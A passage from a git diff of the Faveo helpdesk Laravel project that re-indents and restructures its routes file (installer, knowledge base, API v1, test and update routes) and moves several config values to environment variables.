'Installer\helpdesk\InstallController@configuration']); + Route::post('/step4post', ['as' => 'postconfiguration', 'uses' => 'Installer\helpdesk\InstallController@configurationcheck']); + Route::get('/step4', ['as' => 'database', 'uses' => 'Installer\helpdesk\InstallController@database']); + Route::get('/step5', ['as' => 'account', 'uses' => 'Installer\helpdesk\InstallController@account']); + Route::post('/step6post', ['as' => 'postaccount', 'uses' => 'Installer\helpdesk\InstallController@accountcheck']); + Route::get('/final', ['as' => 'final', 'uses' => 'Installer\helpdesk\InstallController@finalize']); + Route::post('/finalpost', ['as' => 'postfinal', 'uses' => 'Installer\helpdesk\InstallController@finalcheck']); + Route::post('/postconnection', ['as' => 'postconnection', 'uses' => 'Installer\helpdesk\InstallController@postconnection']); + Route::get('/change-file-permission', ['as' => 'change-permission', 'uses' => 'Installer\helpdesk\InstallController@changeFilePermission']); -/* - |============================================================= - | Cron Job links - |============================================================= - | These links are for cron job execution - | - */ -Route::get('readmails', ['as' => 'readmails', 'uses' => 'Agent\helpdesk\MailController@readmails']); -Route::get('notification', ['as' => 'notification', 'uses' => 'Agent\helpdesk\NotificationController@send_notification']); -Route::get('auto-close-tickets', ['as' => 'auto.close', 'uses' => 'Agent\helpdesk\TicketController@autoCloseTickets']); + /* + |============================================================= + | Cron Job links + |============================================================= + | These links are for cron job execution + | + */ + Route::get('readmails', ['as' => 'readmails', 'uses' => 'Agent\helpdesk\MailController@readmails']); + Route::get('notification', ['as' => 'notification', 'uses' => 'Agent\helpdesk\NotificationController@send_notification']); + Route::get('auto-close-tickets', ['as' => 'auto.close', 'uses' => 'Agent\helpdesk\TicketController@autoCloseTickets']); -/* - |============================================================= - | View all the Routes - |============================================================= - */ + /* + |============================================================= + | View all the Routes + |============================================================= + */ //Route::get('/aaa', function () { // $routeCollection = Route::getRoutes(); // echo ""; @@ -1032,328 +1033,336 @@ Route::get('auto-close-tickets', ['as' => 'auto.close', 'uses' => 'Agent\helpdes // echo '
'; //}); -/* - |============================================================= - | Error Routes - |============================================================= - */ -Route::get('500', ['as' => 'error500', function () { + /* + |============================================================= + | Error Routes + |============================================================= + */ + Route::get('500', ['as' => 'error500', function () { return view('errors.500'); }]); -Breadcrumbs::register('error500', function ($breadcrumbs) { - $breadcrumbs->push('500'); -}); + Breadcrumbs::register('error500', function ($breadcrumbs) { + $breadcrumbs->push('500'); + }); -Route::get('404', ['as' => 'error404', function () { + Route::get('404', ['as' => 'error404', function () { return view('errors.404'); }]); -Breadcrumbs::register('error404', function ($breadcrumbs) { - $breadcrumbs->push('404'); -}); + Breadcrumbs::register('error404', function ($breadcrumbs) { + $breadcrumbs->push('404'); + }); -Route::get('board-offline', ['as' => 'board.offline', function () { + Route::get('board-offline', ['as' => 'board.offline', function () { return view('errors.offline'); }]); -Breadcrumbs::register('board.offline', function ($breadcrumbs) { - $breadcrumbs->push('Board Offline'); -}); -/* - |============================================================= - | Test mail Routes - |============================================================= - */ -Route::get('testmail', function () { - $e = 'hello'; - Config::set('mail.host', 'smtp.gmail.com'); - \Mail::send('errors.report', ['e' => $e], function ($message) { - $message->to('sujitprasad4567@gmail.com', 'sujit prasad')->subject('Error'); + Breadcrumbs::register('board.offline', function ($breadcrumbs) { + $breadcrumbs->push('Board Offline'); + }); + /* + |============================================================= + | Test mail Routes + |============================================================= + */ + Route::get('testmail', function () { + $e = 'hello'; + Config::set('mail.host', 'smtp.gmail.com'); + \Mail::send('errors.report', ['e' => $e], function ($message) { + $message->to('sujitprasad4567@gmail.com', 'sujit prasad')->subject('Error'); + }); }); -}); -/* For the crud of catogory */ -$router->resource('category', 'Agent\kb\CategoryController'); -Breadcrumbs::register('category.index', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.category'), route('category.index')); -}); -Breadcrumbs::register('category.create', function ($breadcrumbs) { - $breadcrumbs->parent('category.index'); - $breadcrumbs->push(Lang::get('lang.add'), route('category.create')); -}); -Breadcrumbs::register('category.edit', function ($breadcrumbs) { - $breadcrumbs->parent('category.index'); - $breadcrumbs->push(Lang::get('lang.edit'), url('category/{category}/edit')); -}); -Breadcrumbs::register('category.show', function ($breadcrumbs) { - $breadcrumbs->parent('category.index'); - $breadcrumbs->push(Lang::get('lang.view'), url('category/{category}')); -}); -$router->get('category/delete/{id}', 'Agent\kb\CategoryController@destroy'); -/* For the crud of article */ + /* For the crud of catogory */ + Route::resource('category', 'Agent\kb\CategoryController'); + + Breadcrumbs::register('category.index', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.category'), route('category.index')); + }); + Breadcrumbs::register('category.create', function ($breadcrumbs) { + $breadcrumbs->parent('category.index'); + $breadcrumbs->push(Lang::get('lang.add'), route('category.create')); + }); + Breadcrumbs::register('category.edit', function ($breadcrumbs) { + $breadcrumbs->parent('category.index'); + $breadcrumbs->push(Lang::get('lang.edit'), url('category/{category}/edit')); + }); + Breadcrumbs::register('category.show', function ($breadcrumbs) { + $breadcrumbs->parent('category.index'); + $breadcrumbs->push(Lang::get('lang.view'), url('category/{category}')); + }); + Route::get('category/delete/{id}', 'Agent\kb\CategoryController@destroy'); + /* For the crud of article */ -$router->resource('article', 'Agent\kb\ArticleController'); -Breadcrumbs::register('article.index', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.article'), route('article.index')); -}); -Breadcrumbs::register('article.create', function ($breadcrumbs) { - $breadcrumbs->parent('article.index'); - $breadcrumbs->push(Lang::get('lang.add'), route('article.create')); -}); -Breadcrumbs::register('article.edit', function ($breadcrumbs) { - $breadcrumbs->parent('article.index'); - $breadcrumbs->push(Lang::get('lang.edit'), url('article/{article}/edit')); -}); -Breadcrumbs::register('article.show', function ($breadcrumbs) { - $breadcrumbs->parent('article.index'); - $breadcrumbs->push(Lang::get('lang.view'), url('article/{article}')); -}); -$router->get('article/delete/{id}', 'Agent\kb\ArticleController@destroy'); -/* get settings */ -$router->get('kb/settings', ['as' => 'settings', 'uses' => 'Agent\kb\SettingsController@settings']); -Breadcrumbs::register('settings', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.settings'), route('settings')); -}); -/* post settings */ -$router->patch('postsettings/{id}', 'Agent\kb\SettingsController@postSettings'); + Route::resource('article', 'Agent\kb\ArticleController'); + + Breadcrumbs::register('article.index', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.article'), route('article.index')); + }); + Breadcrumbs::register('article.create', function ($breadcrumbs) { + $breadcrumbs->parent('article.index'); + $breadcrumbs->push(Lang::get('lang.add'), route('article.create')); + }); + Breadcrumbs::register('article.edit', function ($breadcrumbs) { + $breadcrumbs->parent('article.index'); + $breadcrumbs->push(Lang::get('lang.edit'), url('article/{article}/edit')); + }); + Breadcrumbs::register('article.show', function ($breadcrumbs) { + $breadcrumbs->parent('article.index'); + $breadcrumbs->push(Lang::get('lang.view'), url('article/{article}')); + }); + Route::get('article/delete/{id}', 'Agent\kb\ArticleController@destroy'); + + /* get settings */ + Route::get('kb/settings', ['as' => 'settings', 'uses' => 'Agent\kb\SettingsController@settings']); + Breadcrumbs::register('settings', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.settings'), route('settings')); + }); + /* post settings */ + Route::patch('postsettings/{id}', 'Agent\kb\SettingsController@postSettings'); //Route for administrater to access the comment -$router->get('comment', ['as' => 'comment', 'uses' => 'Agent\kb\SettingsController@comment']); -Breadcrumbs::register('comment', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.comments'), route('comment')); -}); -/* Route to define the comment should Published */ -$router->get('published/{id}', ['as' => 'published', 'uses' => 'Agent\kb\SettingsController@publish']); -/* Route for deleting comments */ -$router->delete('deleted/{id}', ['as' => 'deleted', 'uses' => 'Agent\kb\SettingsController@delete']); -/* Route for Profile */ + Route::get('comment', ['as' => 'comment', 'uses' => 'Agent\kb\SettingsController@comment']); + Breadcrumbs::register('comment', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.comments'), route('comment')); + }); + + /* Route to define the comment should Published */ + Route::get('published/{id}', ['as' => 'published', 'uses' => 'Agent\kb\SettingsController@publish']); + /* Route for deleting comments */ + Route::delete('deleted/{id}', ['as' => 'deleted', 'uses' => 'Agent\kb\SettingsController@delete']); + /* Route for Profile */ // $router->get('profile', ['as' => 'profile', 'uses' => 'Agent\kb\SettingsController@getProfile']); -/* Profile Update */ + /* Profile Update */ // $router->patch('post-profile', ['as' => 'post-profile', 'uses' =>'Agent\kb\SettingsController@postProfile'] ); -/* Profile password Update */ + /* Profile password Update */ // $router->patch('post-profile-password/{id}',['as' => 'post-profile-password', 'uses' => 'Agent\kb\SettingsController@postProfilepassword']); -/* delete Logo */ -$router->get('delete-logo/{id}', ['as' => 'delete-logo', 'uses' => 'Agent\kb\SettingsController@deleteLogo']); -/* delete Background */ -$router->get('delete-background/{id}', ['as' => 'delete-background', 'uses' => 'Agent\kb\SettingsController@deleteBackground']); + /* delete Logo */ + Route::get('delete-logo/{id}', ['as' => 'delete-logo', 'uses' => 'Agent\kb\SettingsController@deleteLogo']); + /* delete Background */ + Route::get('delete-background/{id}', ['as' => 'delete-background', 'uses' => 'Agent\kb\SettingsController@deleteBackground']); -$router->resource('page', 'Agent\kb\PageController'); -Breadcrumbs::register('page.index', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.pages'), route('page.index')); -}); -Breadcrumbs::register('page.create', function ($breadcrumbs) { - $breadcrumbs->parent('page.index'); - $breadcrumbs->push(Lang::get('lang.add'), route('page.create')); -}); -Breadcrumbs::register('page.edit', function ($breadcrumbs) { - $breadcrumbs->parent('page.index'); - $breadcrumbs->push(Lang::get('lang.edit'), url('page/{page}/edit')); -}); -Breadcrumbs::register('page.show', function ($breadcrumbs) { - $breadcrumbs->parent('page.index'); - $breadcrumbs->push(Lang::get('lang.view'), url('page/{page}')); -}); + + Route::resource('page', 'Agent\kb\PageController'); + + Breadcrumbs::register('page.index', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.pages'), route('page.index')); + }); + Breadcrumbs::register('page.create', function ($breadcrumbs) { + $breadcrumbs->parent('page.index'); + $breadcrumbs->push(Lang::get('lang.add'), route('page.create')); + }); + Breadcrumbs::register('page.edit', function ($breadcrumbs) { + $breadcrumbs->parent('page.index'); + $breadcrumbs->push(Lang::get('lang.edit'), url('page/{page}/edit')); + }); + Breadcrumbs::register('page.show', function ($breadcrumbs) { + $breadcrumbs->parent('page.index'); + $breadcrumbs->push(Lang::get('lang.view'), url('page/{page}')); + }); -$router->get('get-pages', ['as' => 'api.page', 'uses' => 'Agent\kb\PageController@getData']); -$router->get('page/delete/{id}', ['as' => 'pagedelete', 'uses' => 'Agent\kb\PageController@destroy']); -$router->get('comment/delete/{id}', ['as' => 'commentdelete', 'uses' => 'Agent\kb\SettingsController@delete']); -$router->get('get-articles', ['as' => 'api.article', 'uses' => 'Agent\kb\ArticleController@getData']); -$router->get('get-categorys', ['as' => 'api.category', 'uses' => 'Agent\kb\CategoryController@getData']); -$router->get('get-comment', ['as' => 'api.comment', 'uses' => 'Agent\kb\SettingsController@getData']); -$router->get('test', 'ArticleController@test'); + Route::get('get-pages', ['as' => 'api.page', 'uses' => 'Agent\kb\PageController@getData']); + Route::get('page/delete/{id}', ['as' => 'pagedelete', 'uses' => 'Agent\kb\PageController@destroy']); + Route::get('comment/delete/{id}', ['as' => 'commentdelete', 'uses' => 'Agent\kb\SettingsController@delete']); + Route::get('get-articles', ['as' => 'api.article', 'uses' => 'Agent\kb\ArticleController@getData']); + Route::get('get-categorys', ['as' => 'api.category', 'uses' => 'Agent\kb\CategoryController@getData']); + Route::get('get-comment', ['as' => 'api.comment', 'uses' => 'Agent\kb\SettingsController@getData']); + Route::get('test', 'ArticleController@test'); -$router->post('image', 'Agent\kb\SettingsController@image'); + Route::post('image', 'Agent\kb\SettingsController@image'); -$router->get('direct', function () { - return view('direct'); -}); + Route::get('direct', function () { + return view('direct'); + }); // Route::get('/',['as'=>'home' , 'uses'=> 'client\kb\UserController@home'] ); -/* post the comment from show page */ -$router->post('postcomment/{slug}', ['as' => 'postcomment', 'uses' => 'Client\kb\UserController@postComment']); -/* get the article list */ -Breadcrumbs::register('article-list', function ($breadcrumbs) { - $breadcrumbs->push('Article List', route('article-list')); -}); -$router->get('article-list', ['as' => 'article-list', 'uses' => 'Client\kb\UserController@getArticle']); + /* post the comment from show page */ + Route::post('postcomment/{slug}', ['as' => 'postcomment', 'uses' => 'Client\kb\UserController@postComment']); + /* get the article list */ + Breadcrumbs::register('article-list', function ($breadcrumbs) { + $breadcrumbs->push('Article List', route('article-list')); + }); + Route::get('article-list', ['as' => 'article-list', 'uses' => 'Client\kb\UserController@getArticle']); // /* get search values */ -$router->get('search', ['as' => 'search', 'uses' => 'Client\kb\UserController@search']); -Breadcrumbs::register('search', function ($breadcrumbs) { - $breadcrumbs->push('Knowledge-base', route('home')); - $breadcrumbs->push('Search Result'); -}); + Route::get('search', ['as' => 'search', 'uses' => 'Client\kb\UserController@search']); + Breadcrumbs::register('search', function ($breadcrumbs) { + $breadcrumbs->push('Knowledge-base', route('home')); + $breadcrumbs->push('Search Result'); + }); -/* get the selected article */ -$router->get('show/{slug}', ['as' => 'show', 'uses' => 'Client\kb\UserController@show']); -Breadcrumbs::register('show', function ($breadcrumbs) { - $breadcrumbs->push('Knowledge-base', route('home')); - $breadcrumbs->push('Article List', route('article-list')); - $breadcrumbs->push('Article'); -}); + /* get the selected article */ + Route::get('show/{slug}', ['as' => 'show', 'uses' => 'Client\kb\UserController@show']); + Breadcrumbs::register('show', function ($breadcrumbs) { + $breadcrumbs->push('Knowledge-base', route('home')); + $breadcrumbs->push('Article List', route('article-list')); + $breadcrumbs->push('Article'); + }); -$router->get('category-list', ['as' => 'category-list', 'uses' => 'Client\kb\UserController@getCategoryList']); -Breadcrumbs::register('category-list', function ($breadcrumbs) { - $breadcrumbs->push('Category List', route('category-list')); -}); -/* get the categories with article */ -$router->get('category-list/{id}', ['as' => 'categorylist', 'uses' => 'Client\kb\UserController@getCategory']); -Breadcrumbs::register('categorylist', function ($breadcrumbs) { - $breadcrumbs->push('Category List', route('category-list')); - $breadcrumbs->push('Category'); -}); + Route::get('category-list', ['as' => 'category-list', 'uses' => 'Client\kb\UserController@getCategoryList']); + Breadcrumbs::register('category-list', function ($breadcrumbs) { + $breadcrumbs->push('Category List', route('category-list')); + }); + /* get the categories with article */ + Route::get('category-list/{id}', ['as' => 'categorylist', 'uses' => 'Client\kb\UserController@getCategory']); + Breadcrumbs::register('categorylist', function ($breadcrumbs) { + $breadcrumbs->push('Category List', route('category-list')); + $breadcrumbs->push('Category'); + }); -Route::post('show/rating/{id}', ['as' => 'show.rating', 'uses' => 'Client\helpdesk\UnauthController@rating']); /* Get overall Ratings */ + Route::post('show/rating/{id}', ['as' => 'show.rating', 'uses' => 'Client\helpdesk\UnauthController@rating']); /* Get overall Ratings */ -Route::post('show/rating2/{id}', ['as' => 'show.rating2', 'uses' => 'Client\helpdesk\UnauthController@ratingReply']); /* Get reply Ratings */ + Route::post('show/rating2/{id}', ['as' => 'show.rating2', 'uses' => 'Client\helpdesk\UnauthController@ratingReply']); /* Get reply Ratings */ -Route::get('show/change-status/{status}/{id}', ['as' => 'show.change.status', 'uses' => 'Client\helpdesk\UnauthController@changeStatus']); /* Get reply Ratings */ -/* get the home page */ -$router->get('knowledgebase', ['as' => 'home', 'uses' => 'Client\kb\UserController@home']); -/* get the faq value to user */ + Route::get('show/change-status/{status}/{id}', ['as' => 'show.change.status', 'uses' => 'Client\helpdesk\UnauthController@changeStatus']); /* Get reply Ratings */ + /* get the home page */ + Route::get('knowledgebase', ['as' => 'home', 'uses' => 'Client\kb\UserController@home']); + /* get the faq value to user */ // $router->get('faq',['as'=>'faq' , 'uses'=>'Client\kb\UserController@Faq'] ); -/* get the cantact page to user */ -$router->get('contact', ['as' => 'contact', 'uses' => 'Client\kb\UserController@contact']); -/* post the cantact page to controller */ -$router->post('post-contact', ['as' => 'post-contact', 'uses' => 'Client\kb\UserController@postContact']); + /* get the cantact page to user */ + Route::get('contact', ['as' => 'contact', 'uses' => 'Client\kb\UserController@contact']); + /* post the cantact page to controller */ + Route::post('post-contact', ['as' => 'post-contact', 'uses' => 'Client\kb\UserController@postContact']); //to get the value for page content -$router->get('pages/{name}', ['as' => 'pages', 'uses' => 'Client\kb\UserController@getPage']); -Breadcrumbs::register('pages', function ($breadcrumbs) { - $breadcrumbs->push('Pages'); -}); + Route::get('pages/{name}', ['as' => 'pages', 'uses' => 'Client\kb\UserController@getPage']); + Breadcrumbs::register('pages', function ($breadcrumbs) { + $breadcrumbs->push('Pages'); + }); //profile // $router->get('client-profile',['as' => 'client-profile', 'uses' => 'Client\kb\UserController@clientProfile']); // Route::patch('client-profile-edit',['as' => 'client-profile-edit', 'uses' => 'Client\kb\UserController@postClientProfile']); // Route::patch('client-profile-password/{id}',['as' => 'client-profile-password', 'uses' => 'Client\kb\UserController@postClientProfilePassword']); -Route::get('/inbox/data', ['as' => 'api.inbox', 'uses' => 'Agent\helpdesk\TicketController@get_inbox']); + Route::get('/inbox/data', ['as' => 'api.inbox', 'uses' => 'Agent\helpdesk\TicketController@get_inbox']); -Route::get('/report', 'HomeController@getreport'); -Route::get('/reportdata', 'HomeController@pushdata'); - -/* - * ================================================================================================ - * @version v1 - * @access public - * @copyright (c) 2016, Ladybird web solution - * @author Vijay Sebastian - * @name Faveo - */ -Route::group(['prefix' => 'api/v1'], function () { - Route::post('register', 'Api\v1\TokenAuthController@register'); - Route::post('authenticate', 'Api\v1\TokenAuthController@authenticate'); - Route::get('authenticate/user', 'Api\v1\TokenAuthController@getAuthenticatedUser'); - - Route::get('/database-config', ['as' => 'database-config', 'uses' => 'Api\v1\InstallerApiController@config_database']); - Route::get('/system-config', ['as' => 'database-config', 'uses' => 'Api\v1\InstallerApiController@config_system']); + Route::get('/report', 'HomeController@getreport'); + Route::get('/reportdata', 'HomeController@pushdata'); /* - * Helpdesk + * ================================================================================================ + * @version v1 + * @access public + * @copyright (c) 2016, Ladybird web solution + * @author Vijay Sebastian + * @name Faveo */ - Route::group(['prefix' => 'helpdesk'], function () { - Route::post('create', 'Api\v1\ApiController@createTicket'); - Route::post('reply', 'Api\v1\ApiController@ticketReply'); - Route::post('edit', 'Api\v1\ApiController@editTicket'); - Route::post('delete', 'Api\v1\ApiController@deleteTicket'); - Route::post('assign', 'Api\v1\ApiController@assignTicket'); + Route::group(['prefix' => 'api/v1'], function () { + Route::post('register', 'Api\v1\TokenAuthController@register'); + Route::post('authenticate', 'Api\v1\TokenAuthController@authenticate'); + Route::get('authenticate/user', 'Api\v1\TokenAuthController@getAuthenticatedUser'); - Route::get('open', 'Api\v1\ApiController@openedTickets'); - Route::get('unassigned', 'Api\v1\ApiController@unassignedTickets'); - Route::get('closed', 'Api\v1\ApiController@closeTickets'); - Route::get('agents', 'Api\v1\ApiController@getAgents'); - Route::get('teams', 'Api\v1\ApiController@getTeams'); - Route::get('customers', 'Api\v1\ApiController@getCustomers'); - Route::get('customer', 'Api\v1\ApiController@getCustomer'); - Route::get('ticket-search', 'Api\v1\ApiController@searchTicket'); - Route::get('ticket-thread', 'Api\v1\ApiController@ticketThreads'); - Route::get('url', 'Api\v1\ApiExceptAuthController@checkUrl'); - Route::get('check-url', 'Api\v1\ApiExceptAuthController@urlResult'); - Route::get('api_key', 'Api\v1\ApiController@generateApiKey'); - Route::get('help-topic', 'Api\v1\ApiController@getHelpTopic'); - Route::get('sla-plan', 'Api\v1\ApiController@getSlaPlan'); - Route::get('priority', 'Api\v1\ApiController@getPriority'); - Route::get('department', 'Api\v1\ApiController@getDepartment'); - Route::get('tickets', 'Api\v1\ApiController@getTickets'); - Route::get('ticket', 'Api\v1\ApiController@getTicketById'); - Route::get('inbox', 'Api\v1\ApiController@inbox'); - Route::get('trash', 'Api\v1\ApiController@getTrash'); - Route::get('my-tickets-agent', 'Api\v1\ApiController@getMyTicketsAgent'); - Route::post('internal-note', 'Api\v1\ApiController@internalNote'); + Route::get('/database-config', ['as' => 'database-config', 'uses' => 'Api\v1\InstallerApiController@config_database']); + Route::get('/system-config', ['as' => 'database-config', 'uses' => 'Api\v1\InstallerApiController@config_system']); + /* + * Helpdesk + */ + Route::group(['prefix' => 'helpdesk'], function () { + Route::post('create', 'Api\v1\ApiController@createTicket'); + Route::post('reply', 'Api\v1\ApiController@ticketReply'); + Route::post('edit', 'Api\v1\ApiController@editTicket'); + Route::post('delete', 'Api\v1\ApiController@deleteTicket'); + Route::post('assign', 'Api\v1\ApiController@assignTicket'); + + Route::get('open', 'Api\v1\ApiController@openedTickets'); + Route::get('unassigned', 'Api\v1\ApiController@unassignedTickets'); + Route::get('closed', 'Api\v1\ApiController@closeTickets'); + Route::get('agents', 'Api\v1\ApiController@getAgents'); + Route::get('teams', 'Api\v1\ApiController@getTeams'); + Route::get('customers', 'Api\v1\ApiController@getCustomers'); + Route::get('customer', 'Api\v1\ApiController@getCustomer'); + Route::get('ticket-search', 'Api\v1\ApiController@searchTicket'); + Route::get('ticket-thread', 'Api\v1\ApiController@ticketThreads'); + Route::get('url', 'Api\v1\ApiExceptAuthController@checkUrl'); + Route::get('check-url', 'Api\v1\ApiExceptAuthController@urlResult'); + Route::get('api_key', 'Api\v1\ApiController@generateApiKey'); + Route::get('help-topic', 'Api\v1\ApiController@getHelpTopic'); + Route::get('sla-plan', 'Api\v1\ApiController@getSlaPlan'); + Route::get('priority', 'Api\v1\ApiController@getPriority'); + Route::get('department', 'Api\v1\ApiController@getDepartment'); + Route::get('tickets', 'Api\v1\ApiController@getTickets'); + Route::get('ticket', 'Api\v1\ApiController@getTicketById'); + Route::get('inbox', 'Api\v1\ApiController@inbox'); + Route::get('trash', 'Api\v1\ApiController@getTrash'); + Route::get('my-tickets-agent', 'Api\v1\ApiController@getMyTicketsAgent'); + Route::post('internal-note', 'Api\v1\ApiController@internalNote'); + + /* + * Newly added + */ + + Route::get('customers-custom', 'Api\v1\ApiController@getCustomersWith'); + Route::get('collaborator/search', 'Api\v1\ApiController@collaboratorSearch'); + Route::post('collaborator/create', 'Api\v1\ApiController@addCollaboratorForTicket'); + Route::post('collaborator/remove', 'Api\v1\ApiController@deleteCollaborator'); + Route::post('collaborator/get-ticket', 'Api\v1\ApiController@getCollaboratorForTicket'); + Route::get('my-tickets-user', 'Api\v1\ApiController@getMyTicketsUser'); + Route::get('dependency', 'Api\v1\ApiController@dependency'); + }); + + /* + * Testing Url + */ + Route::get('create/user', 'Api\v1\TestController@createUser'); + Route::get('create/ticket', 'Api\v1\TestController@createTicket'); + Route::get('ticket/reply', 'Api\v1\TestController@ticketReply'); + Route::get('ticket/edit', 'Api\v1\TestController@editTicket'); + Route::get('ticket/delete', 'Api\v1\TestController@deleteTicket'); + + Route::get('ticket/open', 'Api\v1\TestController@openedTickets'); + Route::get('ticket/unassigned', 'Api\v1\TestController@unassignedTickets'); + Route::get('ticket/closed', 'Api\v1\TestController@closeTickets'); + Route::get('ticket/assign', 'Api\v1\TestController@assignTicket'); + Route::get('ticket/agents', 'Api\v1\TestController@getAgents'); + Route::get('ticket/teams', 'Api\v1\TestController@getTeams'); + Route::get('ticket/customers', 'Api\v1\TestController@getCustomers'); + Route::get('ticket/customer', 'Api\v1\TestController@getCustomer'); + Route::get('ticket/search', 'Api\v1\TestController@getSearch'); + Route::get('ticket/thread', 'Api\v1\TestController@ticketThreads'); + Route::get('ticket/url', 'Api\v1\TestController@url'); + Route::get('ticket/api', 'Api\v1\TestController@generateApiKey'); + Route::get('ticket/help-topic', 'Api\v1\TestController@getHelpTopic'); + Route::get('ticket/sla-plan', 'Api\v1\TestController@getSlaPlan'); + Route::get('ticket/priority', 'Api\v1\TestController@getPriority'); + Route::get('ticket/department', 'Api\v1\TestController@getDepartment'); + Route::get('ticket/tickets', 'Api\v1\TestController@getTickets'); + Route::get('ticket/inbox', 'Api\v1\TestController@inbox'); + Route::get('ticket/internal', 'Api\v1\TestController@internalNote'); + Route::get('ticket/trash', 'Api\v1\TestController@trash'); + Route::get('ticket/my', 'Api\v1\TestController@myTickets'); + Route::get('ticket', 'Api\v1\TestController@getTicketById'); /* * Newly added */ + Route::get('ticket/customers-custom', 'Api\v1\TestController@getCustomersWith'); - Route::get('customers-custom', 'Api\v1\ApiController@getCustomersWith'); - Route::get('collaborator/search', 'Api\v1\ApiController@collaboratorSearch'); - Route::post('collaborator/create', 'Api\v1\ApiController@addCollaboratorForTicket'); - Route::post('collaborator/remove', 'Api\v1\ApiController@deleteCollaborator'); - Route::post('collaborator/get-ticket', 'Api\v1\ApiController@getCollaboratorForTicket'); - Route::get('my-tickets-user', 'Api\v1\ApiController@getMyTicketsUser'); + Route::get('generate/token', 'Api\v1\TestController@generateToken'); + Route::get('get/user', 'Api\v1\TestController@getAuthUser'); }); + /* + * Update module + */ + Route::get('database-update', ['as' => 'database.update', 'uses' => 'Update\UpgradeController@databaseUpdate']); + Route::get('database-upgrade', ['as' => 'database.upgrade', 'uses' => 'Update\UpgradeController@databaseUpgrade']); + Route::get('file-update', ['as' => 'file.update', 'uses' => 'Update\UpgradeController@fileUpdate']); + Route::get('file-upgrade', ['as' => 'file.upgrade', 'uses' => 'Update\UpgradeController@fileUpgrading']); /* - * Testing Url + * Webhook */ - Route::get('create/user', 'Api\v1\TestController@createUser'); - Route::get('create/ticket', 'Api\v1\TestController@createTicket'); - Route::get('ticket/reply', 'Api\v1\TestController@ticketReply'); - Route::get('ticket/edit', 'Api\v1\TestController@editTicket'); - Route::get('ticket/delete', 'Api\v1\TestController@deleteTicket'); - - Route::get('ticket/open', 'Api\v1\TestController@openedTickets'); - Route::get('ticket/unassigned', 'Api\v1\TestController@unassignedTickets'); - Route::get('ticket/closed', 'Api\v1\TestController@closeTickets'); - Route::get('ticket/assign', 'Api\v1\TestController@assignTicket'); - Route::get('ticket/agents', 'Api\v1\TestController@getAgents'); - Route::get('ticket/teams', 'Api\v1\TestController@getTeams'); - Route::get('ticket/customers', 'Api\v1\TestController@getCustomers'); - Route::get('ticket/customer', 'Api\v1\TestController@getCustomer'); - Route::get('ticket/search', 'Api\v1\TestController@getSearch'); - Route::get('ticket/thread', 'Api\v1\TestController@ticketThreads'); - Route::get('ticket/url', 'Api\v1\TestController@url'); - Route::get('ticket/api', 'Api\v1\TestController@generateApiKey'); - Route::get('ticket/help-topic', 'Api\v1\TestController@getHelpTopic'); - Route::get('ticket/sla-plan', 'Api\v1\TestController@getSlaPlan'); - Route::get('ticket/priority', 'Api\v1\TestController@getPriority'); - Route::get('ticket/department', 'Api\v1\TestController@getDepartment'); - Route::get('ticket/tickets', 'Api\v1\TestController@getTickets'); - Route::get('ticket/inbox', 'Api\v1\TestController@inbox'); - Route::get('ticket/internal', 'Api\v1\TestController@internalNote'); - Route::get('ticket/trash', 'Api\v1\TestController@trash'); - Route::get('ticket/my', 'Api\v1\TestController@myTickets'); - Route::get('ticket', 'Api\v1\TestController@getTicketById'); - /* - * Newly added - */ - Route::get('ticket/customers-custom', 'Api\v1\TestController@getCustomersWith'); - - Route::get('generate/token', 'Api\v1\TestController@generateToken'); - Route::get('get/user', 'Api\v1\TestController@getAuthUser'); -}); -/* - * Update module - */ -Route::get('database-update', ['as' => 'database.update', 'uses' => 'Update\UpgradeController@databaseUpdate']); -Route::get('database-upgrade', ['as' => 'database.upgrade', 'uses' => 'Update\UpgradeController@databaseUpgrade']); -Route::get('file-update', ['as' => 'file.update', 'uses' => 'Update\UpgradeController@fileUpdate']); -Route::get('file-upgrade', ['as' => 'file.upgrade', 'uses' => 'Update\UpgradeController@fileUpgrading']); - -/* - * Webhook - */ -\Event::listen('ticket.details', function ($details) { - $api_control = new \App\Http\Controllers\Common\ApiSettings(); - $api_control->ticketDetailEvent($details); + \Event::listen('ticket.details', function ($details) { + $api_control = new \App\Http\Controllers\Common\ApiSettings(); + $api_control->ticketDetailEvent($details); + }); }); diff --git a/config/app.php b/config/app.php index 2b0c4506e..748277ff5 100644 --- a/config/app.php +++ b/config/app.php @@ -12,7 +12,7 @@ return [ | application. If disabled, a simple generic error page is shown. | */ - 'debug' => false, + 'debug' => env('APP_DEBUG'), /* |-------------------------------------------------------------------------- | Error Log @@ -33,7 +33,7 @@ return [ | This tells about aplication current version. | */ - 'version' => 'Community 1.0.7.5', + 'version' => 'Community 1.0.7.7', /* |-------------------------------------------------------------------------- | Application URL @@ -44,7 +44,7 @@ return [ | your application so that it is used when running Artisan tasks. | */ - 'url' => 'http://localhost/sujit/faveo-helpdesk/public//sujit/faveo-helpdesk/public//sujit/faveo-helpdesk/public/', + 'url' => env('APP_URL'), /* |-------------------------------------------------------------------------- | Application Timezone @@ -111,7 +111,7 @@ return [ |to FAVEO team when any exception/error occurs or not. True value of this variable will |allow application to send error reports to FAVEO team's bugsnag log. */ - 'bugsnag_reporting' => true, + 'bugsnag_reporting' => env('APP_BUGSNAG'), /* |-------------------------------------------------------------------------- | Autoloaded Service Providers diff --git a/config/database.php b/config/database.php index 183ced53c..786afea1d 100644 --- a/config/database.php +++ b/config/database.php @@ -101,8 +101,7 @@ return [ | installed or not. | */ - - 'install' => '%0%', + 'install' => env('DB_INSTALL'), /* |-------------------------------------------------------------------------- | Redis Databases diff --git a/config/lfm.php b/config/lfm.php index 3e94eb37d..0a30cf6ca 100644 --- a/config/lfm.php 